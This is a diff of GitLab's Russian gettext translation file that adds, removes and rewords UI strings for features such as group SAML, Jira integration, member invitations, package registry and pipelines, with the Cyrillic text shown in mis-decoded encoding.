@@ -14593,6 +15033,12 @@ msgstr "URL группы"
msgid "Group Wikis"
msgstr ""
+msgid "Group application: %{name}"
+msgstr ""
+
+msgid "Group applications"
+msgstr ""
+
msgid "Group avatar"
msgstr "Ðватар группы"
@@ -14674,9 +15120,6 @@ msgstr "Минуты групповой Ñборочной линии уÑпеш
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
-msgid "Group push rule exists, try updating"
-msgstr ""
-
msgid "Group requires separate account"
msgstr ""
@@ -14779,9 +15222,15 @@ msgstr ""
msgid "GroupSAML|Are you sure you want to remove the SAML group link?"
msgstr ""
+msgid "GroupSAML|Before enforcing SSO, enable SAML authentication."
+msgstr ""
+
msgid "GroupSAML|Certificate fingerprint"
msgstr "Отпечаток Ñертификата"
+msgid "GroupSAML|Check SSO on git activity"
+msgstr ""
+
msgid "GroupSAML|Configuration"
msgstr ""
@@ -14797,8 +15246,11 @@ msgstr ""
msgid "GroupSAML|Enable SAML authentication for this group."
msgstr "Включить аутентификацию SAML Ð´Ð»Ñ Ñтой группы."
-msgid "GroupSAML|Enforce SSO-only authentication for this group."
-msgstr "Принудительно иÑпользовать SSO-аутентификацию Ð´Ð»Ñ Ñтой группы."
+msgid "GroupSAML|Enforce SSO-access for Git in this group."
+msgstr ""
+
+msgid "GroupSAML|Enforce SSO-only authentication for web activity for this group."
+msgstr ""
msgid "GroupSAML|Enforce users to have dedicated group managed accounts for this group."
msgstr ""
@@ -14893,9 +15345,6 @@ msgstr ""
msgid "GroupSAML|This will be set as the access level of users added to the group."
msgstr ""
-msgid "GroupSAML|To be able to enable enforced SSO, you first need to enable SAML authentication."
-msgstr ""
-
msgid "GroupSAML|To be able to enable group managed accounts, you first need to enable enforced SSO."
msgstr ""
@@ -15091,9 +15540,6 @@ msgstr ""
msgid "Groups to synchronize"
msgstr "Группы Ð´Ð»Ñ Ñинхронизации"
-msgid "Groups with access to %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "GroupsDropdown|Frequently visited"
msgstr "ЧаÑто поÑещаемые"
@@ -15229,9 +15675,6 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Have your users email"
-msgstr ""
-
msgid "Header logo was successfully removed."
msgstr "Логотип заголовка был уÑпешно удален."
@@ -15414,6 +15857,9 @@ msgstr "ОчиÑтка, ÑкÑпорт, путь, перемещение, уда
msgid "How do I configure runners?"
msgstr ""
+msgid "How do I configure this integration?"
+msgstr ""
+
msgid "How do I generate it?"
msgstr ""
@@ -15582,6 +16028,12 @@ msgstr ""
msgid "If you did not recently sign in, you should immediately change your password: %{password_link}."
msgstr ""
+msgid "If you got a lot of false alarms from repository checks you can choose to clear all repository check information from the database."
+msgstr ""
+
+msgid "If you keep automatic housekeeping disabled for a long time Git repository access on your GitLab server will become slower and your repositories will use more disk space. We recommend to always leave this enabled."
+msgstr ""
+
msgid "If you lose your recovery codes you can generate new ones, invalidating all previous codes."
msgstr "ЕÑли вы потерÑете Ñвои коды воÑÑтановлениÑ, вы можете Ñоздать новые, Ð°Ð½Ð½ÑƒÐ»Ð¸Ñ€ÑƒÑ Ð²Ñе предыдущие коды."
@@ -15746,9 +16198,6 @@ msgstr ""
msgid "Import/Export Rate Limits"
msgstr ""
-msgid "Import/Export illustration"
-msgstr ""
-
msgid "ImportButtons|Connect repositories from"
msgstr ""
@@ -15798,12 +16247,15 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "Improve Merge Requests and customer support with GitLab Enterprise Edition."
+msgid "Importing..."
msgstr ""
msgid "Improve customer support with Service Desk"
msgstr ""
+msgid "Improve merge requests and customer support with GitLab Enterprise Edition."
+msgstr ""
+
msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
@@ -15813,9 +16265,6 @@ msgstr ""
msgid "In case of pull mirroring, your user will be the author of all events in the activity feed that are the result of an update, like new branches being created or new commits being pushed to existing branches."
msgstr ""
-msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
-msgstr "Чтобы включить Службу поддержки Ð´Ð»Ñ Ð²Ð°ÑˆÐµÐ³Ð¾ ÑкземплÑра, Ñначала наÑтройте входÑщую Ñлектронную почту."
-
msgid "In progress"
msgstr "Ð’ процеÑÑе"
@@ -16401,6 +16850,9 @@ msgstr "Сообщать пользователÑм без загруженныÑ
msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
msgstr "Информацию о дополнительных шаблонах Ñтраниц и о том, как их уÑтановить, можно найти в нашем %{pages_getting_started_guide}."
+msgid "Infrastructure Registry"
+msgstr ""
+
msgid "Inherited"
msgstr ""
@@ -16573,6 +17025,9 @@ msgstr ""
msgid "Integrations|Linked namespaces"
msgstr ""
+msgid "Integrations|Namespace successfully linked"
+msgstr ""
+
msgid "Integrations|Namespaces are your GitLab groups and subgroups that will be linked to this Jira instance."
msgstr ""
@@ -16618,9 +17073,6 @@ msgstr ""
msgid "Integrations|This integration, and inheriting projects were reset."
msgstr ""
-msgid "Integrations|This requires mirroring your GitHub repository to this project. %{docs_link}"
-msgstr ""
-
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -16645,6 +17097,9 @@ msgstr ""
msgid "Integrations|You must have owner or maintainer permissions to link namespaces."
msgstr ""
+msgid "Integrations|You should now see GitLab.com activity inside your Jira Cloud issues. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -16681,9 +17136,6 @@ msgstr ""
msgid "Invalid Insights config file detected"
msgstr "Обнаружен неверный файл конфигурации Insights"
-msgid "Invalid Login or password"
-msgstr "Ðеверный логин или пароль"
-
msgid "Invalid OS"
msgstr ""
@@ -16879,7 +17331,7 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|GitLab member or Email address"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -16888,7 +17340,7 @@ msgstr ""
msgid "InviteMembersModal|Invite a group"
msgstr ""
-msgid "InviteMembersModal|Invite team members"
+msgid "InviteMembersModal|Invite members"
msgstr ""
msgid "InviteMembersModal|Members were successfully added"
@@ -16897,25 +17349,25 @@ msgstr ""
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Select a group to invite"
msgstr ""
-msgid "InviteMembersModal|Select a group to invite"
+msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} group"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} project"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} group"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} project"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
msgid "InviteMembers|Invite a group"
@@ -16930,6 +17382,9 @@ msgstr ""
msgid "InviteMember|Don't worry, you can always invite teammates later"
msgstr ""
+msgid "InviteMember|Invite Member"
+msgstr ""
+
msgid "InviteMember|Invite Members (optional)"
msgstr ""
@@ -17092,6 +17547,9 @@ msgstr ""
msgid "Issue title"
msgstr ""
+msgid "Issue types"
+msgstr ""
+
msgid "Issue update failed"
msgstr ""
@@ -17101,6 +17559,9 @@ msgstr "ОбÑуждение было закрыто %{name} %{reason}"
msgid "Issue weight"
msgstr "Приоритет обÑуждениÑ"
+msgid "Issue(s) already assigned"
+msgstr ""
+
msgid "IssueAnalytics|Age"
msgstr ""
@@ -17188,6 +17649,9 @@ msgstr "ОбÑуждениÑми могут быть ошибки, задачи
msgid "Issues closed"
msgstr "ОбÑÑƒÐ¶Ð´ÐµÐ½Ð¸Ñ Ð·Ð°ÐºÑ€Ñ‹Ñ‚Ñ‹"
+msgid "Issues must match this scope to appear in this list."
+msgstr ""
+
msgid "Issues with comments, merge requests with diffs and comments, labels, milestones, snippets, and other project entities"
msgstr "ОбÑÑƒÐ¶Ð´ÐµÐ½Ð¸Ñ Ñ ÐºÐ¾Ð¼Ð¼ÐµÐ½Ñ‚Ð°Ñ€Ð¸Ñми, запроÑÑ‹ на ÑлиÑние Ñ Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ñми и комментариÑми, метками, Ñтапами, Ñниппетами и другими объектами проекта"
@@ -17251,6 +17715,9 @@ msgstr "Похоже, что в наÑтоÑщее Ð²Ñ€ÐµÐ¼Ñ Ð½ÐµÑ‚ доÑтуÐ
msgid "It's you"
msgstr "Это вы"
+msgid "Italic text"
+msgstr ""
+
msgid "Iteration"
msgstr "ИтерациÑ"
@@ -17338,6 +17805,9 @@ msgstr ""
msgid "JiraService|An error occurred while fetching issue list"
msgstr ""
+msgid "JiraService|Automatically transitions Jira issues to the \"Done\" category. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -17350,9 +17820,18 @@ msgstr ""
msgid "JiraService|Enable Jira issues creation from vulnerabilities"
msgstr ""
+msgid "JiraService|Enable Jira transitions"
+msgstr ""
+
+msgid "JiraService|Enter new password or API token"
+msgstr ""
+
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr "Ð¡Ð¾Ð±Ñ‹Ñ‚Ð¸Ñ Ð´Ð»Ñ %{noteable_model_name} отключены."
+msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -17392,7 +17871,10 @@ msgstr ""
msgid "JiraService|Jira project key"
msgstr ""
-msgid "JiraService|Jira workflow transition IDs"
+msgid "JiraService|Leave blank to use your current password or API token"
+msgstr ""
+
+msgid "JiraService|Move to Done"
msgstr ""
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
@@ -17413,7 +17895,7 @@ msgstr ""
msgid "JiraService|Select issue type"
msgstr ""
-msgid "JiraService|Set transition IDs for Jira workflow transitions. %{link_start}Learn more%{link_end}"
+msgid "JiraService|Set a custom final state by using transition IDs. %{linkStart}Learn about transition IDs%{linkEnd}"
msgstr ""
msgid "JiraService|Sign in to GitLab.com to get started."
@@ -17425,12 +17907,18 @@ msgstr ""
msgid "JiraService|This issue is synchronized with Jira"
msgstr ""
+msgid "JiraService|Transition Jira issues to their final state:"
+msgstr ""
+
msgid "JiraService|Use a password for server version and an API token for cloud version"
msgstr "ИÑпользуйте пароль Ð´Ð»Ñ Ñерверной верÑии и API-токен Ð´Ð»Ñ Ð¾Ð±Ð»Ð°Ñ‡Ð½Ð¾Ð¹ верÑии"
msgid "JiraService|Use a username for server version and an email for cloud version"
msgstr "ИÑпользуйте Ð¸Ð¼Ñ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ Ð´Ð»Ñ Ñерверной верÑии и Ð°Ð´Ñ€ÐµÑ Ñлектронной почты Ð´Ð»Ñ Ð¾Ð±Ð»Ð°Ñ‡Ð½Ð¾Ð¹ верÑии"
+msgid "JiraService|Use custom transitions"
+msgstr ""
+
msgid "JiraService|Username or Email"
msgstr "Ð˜Ð¼Ñ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ Ð¸Ð»Ð¸ Email"
@@ -17647,15 +18135,6 @@ msgstr "Ð¡Ð¾Ñ‡ÐµÑ‚Ð°Ð½Ð¸Ñ ÐºÐ»Ð°Ð²Ð¸Ñˆ"
msgid "KeyboardKey|Ctrl+"
msgstr ""
-msgid "KeyboardShortcuts|Global Shortcuts"
-msgstr "Глобальные ÑÐ¾Ñ‡ÐµÑ‚Ð°Ð½Ð¸Ñ ÐºÐ»Ð°Ð²Ð¸Ñˆ"
-
-msgid "KeyboardShortcuts|Toggle GitLab Next"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle the Performance Bar"
-msgstr "Показать/Ñкрыть панель производительноÑти"
-
msgid "Keys"
msgstr "Ключи"
@@ -17746,6 +18225,9 @@ msgstr "Выпадающее меню дейÑтвий над метками"
msgid "Label lists show all issues with the selected label."
msgstr "СпиÑки меток отображают вÑе обÑÑƒÐ¶Ð´ÐµÐ½Ð¸Ñ Ñ Ð²Ñ‹Ð±Ñ€Ð°Ð½Ð½Ð¾Ð¹ меткой."
+msgid "Label priority"
+msgstr ""
+
msgid "Label was created"
msgstr "Метка Ñоздана"
@@ -17951,6 +18433,9 @@ msgstr "Узнайте, как включить Ñинхронизацию"
msgid "Learn more"
msgstr "Подробнее"
+msgid "Learn more about %{link_start_tag}Jaeger configuration%{link_end_tag}."
+msgstr ""
+
msgid "Learn more about %{username}"
msgstr ""
@@ -18363,6 +18848,9 @@ msgstr ""
msgid "Link copied"
msgstr ""
+msgid "Link text"
+msgstr ""
+
msgid "Link title"
msgstr ""
@@ -18432,6 +18920,9 @@ msgstr ""
msgid "Loading"
msgstr "Загрузка"
+msgid "Loading %{name}"
+msgstr ""
+
msgid "Loading contribution stats for group members"
msgstr ""
@@ -18606,6 +19097,9 @@ msgstr "Управление уведомлениÑми"
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
+msgid "Manage applications that can use GitLab as an OAuth provider."
+msgstr ""
+
msgid "Manage applications that you've authorized to use your account."
msgstr ""
@@ -18645,6 +19139,9 @@ msgstr "Импорт файла манифеÑта"
msgid "Manifest import"
msgstr ""
+msgid "Manual"
+msgstr ""
+
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -18669,9 +19166,6 @@ msgstr ""
msgid "Mark as ready"
msgstr ""
-msgid "Mark as resolved"
-msgstr "Отметить как решенное"
-
msgid "Mark this issue as a duplicate of another issue"
msgstr ""
@@ -18747,6 +19241,9 @@ msgstr ""
msgid "MattermostService|Add to Mattermost"
msgstr ""
+msgid "MattermostService|After you configure the integration, view your new Mattermost commands by entering"
+msgstr ""
+
msgid "MattermostService|Command trigger word"
msgstr ""
@@ -18765,13 +19262,10 @@ msgstr ""
msgid "MattermostService|Response username"
msgstr ""
-msgid "MattermostService|See list of available commands in Mattermost after setting up this service, by entering"
-msgstr ""
-
msgid "MattermostService|Suggestions:"
msgstr ""
-msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
+msgid "MattermostService|Use this service to perform common tasks in your project by entering slash commands in Mattermost."
msgstr ""
msgid "Max 100,000 events"
@@ -18846,6 +19340,9 @@ msgstr "МакÑимальный размер маÑÑового запроÑа
msgid "Maximum capacity"
msgstr ""
+msgid "Maximum character limit - %{limit}"
+msgstr ""
+
msgid "Maximum concurrency of Elasticsearch bulk requests per indexing operation."
msgstr ""
@@ -18948,9 +19445,6 @@ msgstr "УчаÑтники"
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr "%{i_open}Maintainer'Ñ‹%{i_close} и %{i_open}Owner'Ñ‹%{i_close} могут добавлÑÑ‚ÑŒ новых учаÑтников"
-msgid "Members invited to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Members listed as CODEOWNERS of affected files."
msgstr ""
@@ -18960,9 +19454,6 @@ msgstr ""
msgid "Members of %{group} can also push to this branch: %{branch}"
msgstr ""
-msgid "Members of %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "Members of a group may only view projects they have permission to access"
msgstr ""
@@ -19095,9 +19586,6 @@ msgstr "Ð—Ð°Ð¿Ñ€Ð¾Ñ Ð½Ð° ÑлиÑние"
msgid "Merge Request Analytics"
msgstr ""
-msgid "Merge Request Approvals"
-msgstr "ÐŸÐ¾Ð´Ñ‚Ð²ÐµÑ€Ð¶Ð´ÐµÐ½Ð¸Ñ Ð·Ð°Ð¿Ñ€Ð¾Ñов на ÑлиÑние"
-
msgid "Merge Request Commits"
msgstr "Коммиты запроÑов на ÑлиÑние"
@@ -19155,9 +19643,6 @@ msgstr ""
msgid "Merge request approvals"
msgstr "Подтверждение запроÑов на ÑлиÑние"
-msgid "Merge request approvals allow you to set the number of necessary approvals and predefine a list of approvers that will need to approve every merge request in a project."
-msgstr "Ð£Ñ‚Ð²ÐµÑ€Ð¶Ð´ÐµÐ½Ð¸Ñ Ð·Ð°Ð¿Ñ€Ð¾Ñа на ÑлиÑние позволÑÑŽÑ‚ вам наÑтроить количеÑтво необходимых утверждений и заранее определить ÑпиÑок утверждающих, которым которым необходимо будет утверждать каждый Ð·Ð°Ð¿Ñ€Ð¾Ñ Ð½Ð° ÑлиÑние в проекте."
-
msgid "Merge request dependencies"
msgstr "ЗавиÑимоÑти запроÑа на ÑлиÑние"
@@ -19724,6 +20209,9 @@ msgstr[1] "Этапы"
msgstr[2] "Этапы"
msgstr[3] "Этапы"
+msgid "Milestone due date"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
@@ -19824,7 +20312,7 @@ msgid "Milestones|Close Milestone"
msgstr ""
msgid "Milestones|Completed Issues (closed)"
-msgstr ""
+msgstr "Выполненные задачи"
msgid "Milestones|Delete milestone"
msgstr "Удалить Ñтап"
@@ -19916,6 +20404,12 @@ msgstr "Зеркалирование было уÑпешно отключено.
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Miscellaneous"
+msgstr ""
+
+msgid "Missing"
+msgstr ""
+
msgid "Missing OAuth configuration for GitHub."
msgstr ""
@@ -19979,6 +20473,9 @@ msgstr "Ещё"
msgid "More Information"
msgstr "Больше информации"
+msgid "More Information."
+msgstr ""
+
msgid "More Slack commands"
msgstr "Больше Slack команд"
@@ -20114,6 +20611,9 @@ msgstr "Ðе применимо"
msgid "Name"
msgstr "ИмÑ"
+msgid "Name can't be blank"
+msgstr ""
+
msgid "Name has already been taken"
msgstr "Ð˜Ð¼Ñ ÑƒÐ¶Ðµ занÑто"
@@ -20434,6 +20934,15 @@ msgstr ""
msgid "NetworkPolicies|ports/protocols"
msgstr ""
+msgid "NetworkPolicy|Policy"
+msgstr ""
+
+msgid "NetworkPolicy|Search by policy name"
+msgstr ""
+
+msgid "NetworkPolicy|Status"
+msgstr ""
+
msgid "Never"
msgstr "Ðикогда"
@@ -20483,9 +20992,6 @@ msgstr "Ðовый импорт из Jira"
msgid "New Label"
msgstr "ÐÐ¾Ð²Ð°Ñ Ð¼ÐµÑ‚ÐºÐ°"
-msgid "New Merge Request"
-msgstr ""
-
msgid "New Milestone"
msgstr "Ðовый Этап"
@@ -20651,6 +21157,9 @@ msgstr "Next"
msgid "Next commit"
msgstr "Следующий коммит"
+msgid "Next design"
+msgstr ""
+
msgid "Next file in diff"
msgstr "Следующий файл в отличиÑÑ… (diff)"
@@ -20696,6 +21205,9 @@ msgstr ""
msgid "No authentication methods configured."
msgstr "Методы аутентификации не наÑтроены."
+msgid "No available branches"
+msgstr ""
+
msgid "No available groups to fork the project."
msgstr ""
@@ -20762,8 +21274,8 @@ msgstr ""
msgid "No estimate or time spent"
msgstr "Ðет оценочного или потраченного времени"
-msgid "No file chosen"
-msgstr "Файл не выбран"
+msgid "No file chosen."
+msgstr ""
msgid "No file hooks found."
msgstr ""
@@ -20813,6 +21325,9 @@ msgstr ""
msgid "No matches found"
msgstr ""
+msgid "No matching issue found. Make sure that you are adding a valid issue URL."
+msgstr ""
+
msgid "No matching labels"
msgstr ""
@@ -20900,6 +21415,9 @@ msgstr ""
msgid "No start date"
msgstr ""
+msgid "No tag selected"
+msgstr ""
+
msgid "No template"
msgstr ""
@@ -21071,6 +21589,34 @@ msgstr ""
msgid "Notification settings saved"
msgstr "ÐаÑтройки уведомлений Ñохранены"
+msgid "NotificationEmail|Assignee"
+msgid_plural "NotificationEmail|Assignees"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
+msgid "NotificationEmail|Assignee: %{users}"
+msgid_plural "NotificationEmail|Assignees: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
+msgid "NotificationEmail|Reviewer"
+msgid_plural "NotificationEmail|Reviewers"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
+msgid "NotificationEmail|Reviewer: %{users}"
+msgid_plural "NotificationEmail|Reviewers: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "NotificationEvent|Change reviewer merge request"
msgstr ""
@@ -21185,6 +21731,15 @@ msgstr ""
msgid "Number of Elasticsearch shards"
msgstr ""
+msgid "Number of Git pushes after which 'git gc' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which a full 'git repack' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which an incremental 'git repack' is run."
+msgstr ""
+
msgid "Number of LOCs per commit"
msgstr "КоличеÑтво Ñтрок кода (LOC) на коммит"
@@ -21317,10 +21872,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule"
-msgstr ""
-
-msgid "OnCallSchedules|On-call schedule for the %{timezone}"
+msgid "OnCallSchedules|On-call schedules"
msgstr ""
msgid "OnCallSchedules|Please note, rotations with shifts that are less than four hours are currently not supported in the weekly view."
@@ -21410,9 +21962,6 @@ msgstr ""
msgid "OnDemandScans|Manage DAST scans"
msgstr ""
-msgid "OnDemandScans|Manage profiles"
-msgstr ""
-
msgid "OnDemandScans|Manage scanner profiles"
msgstr ""
@@ -21437,9 +21986,6 @@ msgstr ""
msgid "OnDemandScans|On-demand scans run outside the DevOps cycle and find vulnerabilities in your projects. %{learnMoreLinkStart}Learn more%{learnMoreLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Run scan"
-msgstr ""
-
msgid "OnDemandScans|Save and run scan"
msgstr ""
@@ -21470,6 +22016,9 @@ msgstr ""
msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
msgstr ""
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgstr ""
+
msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
msgstr ""
@@ -21558,12 +22107,6 @@ msgstr ""
msgid "Open"
msgstr "Открыто"
-msgid "Open API"
-msgstr ""
-
-msgid "Open API specification file path"
-msgstr ""
-
msgid "Open Selection"
msgstr "Открыть выбранное"
@@ -21582,9 +22125,6 @@ msgstr ""
msgid "Open in your IDE"
msgstr ""
-msgid "Open issues"
-msgstr ""
-
msgid "Open raw"
msgstr "Открыть иÑходник"
@@ -21597,12 +22137,15 @@ msgstr ""
msgid "Open: %{open}"
msgstr ""
-msgid "Opened"
-msgstr "Открыто"
+msgid "OpenAPI"
+msgstr ""
-msgid "Opened %{epicTimeagoDate}"
+msgid "OpenAPI specification file path"
msgstr ""
+msgid "Opened"
+msgstr "Открыто"
+
msgid "Opened MRs"
msgstr ""
@@ -21615,6 +22158,9 @@ msgstr "Открыто"
msgid "Opens in a new window"
msgstr "ОткроетÑÑ Ð² новом окне"
+msgid "Operation completed"
+msgstr ""
+
msgid "Operation failed. Check pod logs for %{pod_name} for more details."
msgstr "ÐžÐ¿ÐµÑ€Ð°Ñ†Ð¸Ñ Ð½Ðµ удалаÑÑŒ. Проверьте журналы пода Ð´Ð»Ñ %{pod_name} Ð´Ð»Ñ Ð±Ð¾Ð»ÐµÐµ подробной информации."
@@ -21666,6 +22212,9 @@ msgstr "ÐаÑтройки"
msgid "Or you can choose one of the suggested colors below"
msgstr ""
+msgid "Order jobs by"
+msgstr ""
+
msgid "Orphaned member"
msgstr ""
@@ -21774,12 +22323,18 @@ msgstr ""
msgid "PackageRegistry|Add Conan Remote"
msgstr ""
+msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr "Добавить иÑточник NuGet"
msgid "PackageRegistry|Add composer registry"
msgstr ""
+msgid "PackageRegistry|Allow duplicates"
+msgstr ""
+
msgid "PackageRegistry|An error occurred while saving the settings"
msgstr ""
@@ -21810,6 +22365,9 @@ msgstr "Копировать команду Conan"
msgid "PackageRegistry|Copy Conan Setup Command"
msgstr "Копировать команду наÑтройки Conan"
+msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr "Копировать XML Ð´Ð»Ñ Maven"
@@ -21828,6 +22386,9 @@ msgstr "Копировать команду наÑтройки NuGet"
msgid "PackageRegistry|Copy Pip command"
msgstr "Копировать команду pip"
+msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr "Скопируйте Ñто и вÑтавьте в блок %{codeStart}dependencies%{codeEnd} вашего %{codeStart}pom.xml%{codeEnd}."
@@ -21879,6 +22440,9 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr "ЕÑли вы еще не Ñделали Ñтого, вам нужно будет добавить нижераÑположенное в Ñвой файл %{codeStart}.pypirc%{codeEnd}."
@@ -21903,9 +22467,6 @@ msgstr "Maven"
msgid "PackageRegistry|Maven Command"
msgstr "Команда Maven"
-msgid "PackageRegistry|Maven XML"
-msgstr "XML Maven"
-
msgid "PackageRegistry|NuGet"
msgstr "NuGet"
@@ -21942,15 +22503,42 @@ msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
+msgid "PackageRegistry|Registry setup"
+msgstr ""
+
msgid "PackageRegistry|Remove package"
msgstr "Удалить пакет"
+msgid "PackageRegistry|RubyGems"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
msgid "PackageRegistry|Settings saved successfully"
msgstr ""
+msgid "PackageRegistry|Show Composer commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Conan commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Gradle Groovy DSL commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Maven commands"
+msgstr ""
+
+msgid "PackageRegistry|Show NPM commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Nuget commands"
+msgstr ""
+
+msgid "PackageRegistry|Show PyPi commands"
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr "Извините, ваш фильтр иÑключил вÑе результаты"
@@ -22002,27 +22590,6 @@ msgstr "опубликовано %{author}"
msgid "PackageRegistry|yarn command"
msgstr ""
-msgid "PackageType|Composer"
-msgstr ""
-
-msgid "PackageType|Conan"
-msgstr ""
-
-msgid "PackageType|Generic"
-msgstr ""
-
-msgid "PackageType|Maven"
-msgstr ""
-
-msgid "PackageType|NuGet"
-msgstr ""
-
-msgid "PackageType|PyPI"
-msgstr ""
-
-msgid "PackageType|npm"
-msgstr ""
-
msgid "Packages"
msgstr "Пакеты"
@@ -22260,11 +22827,20 @@ msgstr ""
msgid "PerformanceBar|SQL queries"
msgstr ""
+msgid "PerformanceBar|Sort by duration"
+msgstr ""
+
+msgid "PerformanceBar|Sort chronologically"
+msgstr ""
+
msgid "PerformanceBar|Stats"
msgstr ""
-msgid "PerformanceBar|trace"
-msgstr "траÑÑировка"
+msgid "PerformanceBar|Total duration"
+msgstr ""
+
+msgid "PerformanceBar|Trace"
+msgstr ""
msgid "Permissions"
msgstr "Права доÑтупа"
@@ -22344,8 +22920,8 @@ msgstr ""
msgid "PipelineCharts|An unknown error occurred while processing CI/CD analytics."
msgstr ""
-msgid "PipelineCharts|CI / CD Analytics"
-msgstr "Ðналитика CI / CD"
+msgid "PipelineCharts|CI/CD Analytics"
+msgstr ""
msgid "PipelineCharts|Failed:"
msgstr "Ðеудача:"
@@ -22593,9 +23169,6 @@ msgstr ""
msgid "Pipeline|Could not retrieve the pipeline status. For troubleshooting steps, read the %{linkStart}documentation%{linkEnd}."
msgstr ""
-msgid "Pipeline|Coverage"
-msgstr "Покрытие"
-
msgid "Pipeline|Created"
msgstr ""
@@ -22614,6 +23187,9 @@ msgstr "Ð˜Ð¼Ñ ÑущеÑтвующей ветки или метки"
msgid "Pipeline|Failed"
msgstr ""
+msgid "Pipeline|In progress"
+msgstr ""
+
msgid "Pipeline|Key"
msgstr ""
@@ -22689,6 +23265,18 @@ msgstr "ОÑтановить Ñборочную линию #%{pipelineId}?"
msgid "Pipeline|Tag name"
msgstr ""
+msgid "Pipeline|Test coverage"
+msgstr ""
+
+msgid "Pipeline|This change will decrease the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will increase the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will not change the overall test coverage if merged."
+msgstr ""
+
msgid "Pipeline|Trigger author"
msgstr ""
@@ -22758,9 +23346,6 @@ msgstr ""
msgid "Please add a comment in the text area above"
msgstr ""
-msgid "Please add a list to your board first"
-msgstr "ПожалуйÑта, Ñначала добавьте ÑпиÑок в вашу доÑку"
-
msgid "Please check the configuration file for this chart"
